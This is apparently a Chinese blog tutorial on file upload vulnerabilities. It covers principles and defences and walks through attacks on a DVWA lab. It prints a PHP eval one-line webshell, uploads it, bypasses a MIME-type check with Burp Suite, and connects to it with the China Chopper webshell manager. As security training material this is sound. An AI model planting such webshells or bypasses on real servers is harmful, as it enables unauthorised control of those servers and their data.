您现在的位置是:首页 >学无止境 >文件上传攻击网站首页学无止境
文件上传攻击
一、原理
文件上传攻击实质上就是拿下网站的控制权,户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向 服务器 上上传可执行的动态脚本文件。在我们的日常生活中经常会遇到,例如,我们在上传文件时,后台服务器对其文件检测不严时,通过修改后缀名进行执行木马病毒。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。
WebSell:以ASP、PHP、JSP等网页文件形式存在的一种命令执行环境,也叫网页后门。
利用方式
- 一句话木马(意味着木马的攻击代码非常短,但是功能非常强大)
- 能找到上传后的路径
- 可能会有上传文件的策略
危害
- 查看/上传/下载对方文件
- 查看数据库信息
- 可以执行系统命令
- 欺骗用户进行恶意软件下载
防御措施
- 上传文件的存储位置与服务器分离
- 上传的文件重新 修改文件名、 文件后缀名
- 文件上传的 上传保存路径根据业务进行分离
- 下载时 根据重新生成的文件名进行下载
二、攻击实战
1.文件上传漏洞(级别:low)
配置实验环境
设置安全级别为low,进入到文件上传攻击界面。随意上传一个图片文件(小于100kb,前端限制上传文件大小),将照片成功上传到文件。
将图片进行上传
根据提示的路径URL可以找到该图片
创建一个PHP文件,内容如下:
<?php @eval($_POST[dmc]);?> #dmc为变量,进行连接密码
将该文件上传,提示成功上传
利用中国菜刀进行连接。在菜刀中进行添加SHELL的对话框,在地址输入刚才上传的PHP一句话木马地址:http://192.168.146.50/DVWA/hackable/uploads/mm.php
中国菜刀:一款专业的网站管理软件(WebShell管理工具),小巧强大,只要支持动态脚本的网站都可以用中国菜刀进行管理。
下载地址:阿里云盘分享
打开中国菜刀,进行连接
中国菜刀主界面
在主页面,点击右键,新建SHELL对话框。在地址栏输入刚才上传的一句话PHP木马
http://192.168.146.50/DVWA/hackable/uploads/mm.php,后面的文本框填写文件中的变量dmc
进行连接
进行shell连接,可以进行管理目标服务器的所有数据,可以进行文件上传和下载
在这里,我们就已经利用文件上传漏洞进行提权,可以进行任意的操作,上传、下载、删除等。
2.文件上传漏洞(级别:medium)
配置实验环境
设置安全级别为mdeium,进入到文件上传攻击界面。随意上传一个图片文件(小于100kb,前端限制上传文件大小),将照片成功上传到文件。在进行medium级别时,要提前删除low级别时上传的PHP文件,以免影响实验结果。
找到安装PhpStudy的目录,找到如下文件夹:(以我自己的电脑为例)
C:UserswuDesktopphpStudyphpStudyWWWDVWAhackableuploads
我们进行源代码查看,观察一下medium级别对文件上传的限制,我们发现限制文件的格式必须为image/jpeg 或者/image/png,并且限制文件不能超过100k。
在源代码我们发现MIME类型为jpeg/png ,我们可以进行绕过,利用Burpsuite进行代理绕过。MIME默认类型:application/octet-stream,在进行绕过时,我们把类型改为image/jpeg 或者/image/png。
开启代理后,我们继续上传之前写过的PHP文件(一句话木马),我们利用Burpsuite修改文件后缀名image/jpeg 或者/image/png,再进行放行数据包。
进行修改默认文件类型,再进行放行数据包
修改成功后,我们成功上传文件到服务器。
利用中国菜刀进行连接。在菜刀中进行添加SHELL的对话框,在地址输入刚才上传的PHP一句话木马地址:http://192.168.146.50/DVWA/hackable/uploads/mm.php ,连接方式和上面一样,如果不懂,再看上面的步骤。
三、小结
实验到这里基本结束了,我们在学习的时候一定要进行动手,不懂的问题要及时查阅资料并做好笔记。加油,相信你们可以的。